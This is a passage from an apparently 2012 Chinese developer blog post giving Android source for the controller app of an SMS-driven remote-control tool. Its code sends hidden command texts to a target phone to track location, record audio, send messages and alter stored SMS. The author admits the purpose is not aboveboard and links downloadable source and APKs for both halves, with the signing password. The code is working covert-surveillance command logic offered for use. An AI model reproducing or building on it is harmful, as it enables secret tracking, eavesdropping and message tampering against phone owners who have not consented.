                    editor.commit();
                    // et2.setEnabled(false);
                    // btn2.setClickable(false);
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mSearchBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mOpenLocationBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
                    mOpenLocationBtn.setClickable(false);
                    mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mGetAddressBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mRecoderBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    if (!mIsRecording) {
                        mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
                        mIsRecording = true;
                        mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
                    } else {
                        mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
                        mIsRecording = false;
                        mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
                    }
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mSendSmsBtn.setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                if (mClientNumber.equals("") == false) {
                    String str1 = mSmsNumberSetEditText.getText().toString().trim();
                    String str2 = mSmsContentEditText.getText().toString().trim();
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@sms" + "#" + str1 + "#" + str2,
                            null, null);
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.sms_send_over), Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
                }
            }
        });
        mEditSmsBtn.setOnClickListener(new OnClickListener() {
            
            @Override
            public void onClick(View v) {
                if(mClientNumber.equals("")){
                    Toast.makeText(SMSadminActivity.this, "目前未控制任何手机", Toast.LENGTH_SHORT).show();
                    return;
                }
                Intent it = new Intent(SMSadminActivity.this,EditSmsActivity.class);
                startActivity(it);
            }
        });

    }
}

  这个是修改短信的activity:

package iceman.android.smsadmin;

import iceman.android.smsadmin.R;
import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class EditSmsActivity extends Activity {
    private SmsManager mSmsManager = SmsManager.getDefault();

    private EditText mSmsKey, mSmsNumber,mSmsContent;

    private Button mReplaceBtn,mEditBtn;

    private SharedPreferences mSharedpreferences = null;

    private String mClientNumber;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.edit_sms_layout);
        mSmsKey = (EditText) findViewById(R.id.key);
        mSmsNumber = (EditText) findViewById(R.id.number);
        mSmsContent = (EditText) findViewById(R.id.content);
        mEditBtn = (Button) findViewById(R.id.edit);
        mReplaceBtn = (Button) findViewById(R.id.repalce);
        mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
        mClientNumber = mSharedpreferences.getString("control", "");
        mEditBtn.setOnClickListener(new OnClickListener() {
            
            @Override
            public void onClick(View v) {
                String key = mSmsKey.getText().toString().trim();
                String number = mSmsNumber.getText().toString().trim();
                String content = mSmsContent.getText().toString().trim();
                if(number.equals("")){
                    number = "00000000000";
                }
                if (key.equals("") == false && content.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
                            + "#" +number +"#"+content, null, null);
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.edit_sms_send_over),
                            Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.please_set_key_and_content),
                            Toast.LENGTH_SHORT).show();
                }
            }
        });
        mReplaceBtn.setOnClickListener(new OnClickListener() {

            @Override
            public void onClick(View v) {
                String key = mSmsKey.getText().toString().trim();
                String number = mSmsNumber.getText().toString().trim();
                String content = mSmsContent.getText().toString().trim();
                if(number.equals("")){
                    number = "00000000000";
                }
                if (key.equals("") == false && content.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
                            + "#" +number +"#"+content, null, null);
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.replace_sms_send_over),
                            Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.please_set_key_and_content),
                            Toast.LENGTH_SHORT).show();
                }
            }
        });
    }

}

  因为核心功能是受控端,所以我就不上截图了.各位下载代码看的话,可以尽情吐槽我的UI.哈哈哈

4.程序总结:
从程序角度来说,这不是一个好程序,不光是因为它的容错性比较大(如果发到没有安装受控端的手机上,面对莫名其妙的短信,谁都会起疑心的),还因为软件的目的是在算不上光明正大,秉着学习的态度将源码发上来,如果大家能够看完之后有"不错,挺好玩的"这样一个念头,相信我的目的就达到了.
其实这个程序还可以做到很多功能,利用android的api,MainReceiver中的扩展性还是很高的.曾经打算开发一个网络版的,不利用短信机制了,只是android手机用户很多时候是关闭网络连接的,所以似乎实用性还不如短信版的.有兴趣的人可以开发一个,以远程桌面为名,将程序导向正确的方向,也是一个不错的选择.

 

附上源码及打包好的apk文件,证书的密码都是123456

https://files.cnblogs.com/feifei1010/SMSreceiver.rar

https://files.cnblogs.com/feifei1010/SMSadmin.rar

 https://files.cnblogs.com/feifei1010/apks.rar

 欢迎热爱安卓开发者加入群共同进步。南京群 220818530,武汉群121592153,,杭州群253603803,厦门群253604146,湖南群217494504,大连群253672904
青岛群 257925319

 

 

posted @ 2012-09-06 14:21  vincy  阅读(3494)  评论(8编辑  收藏  举报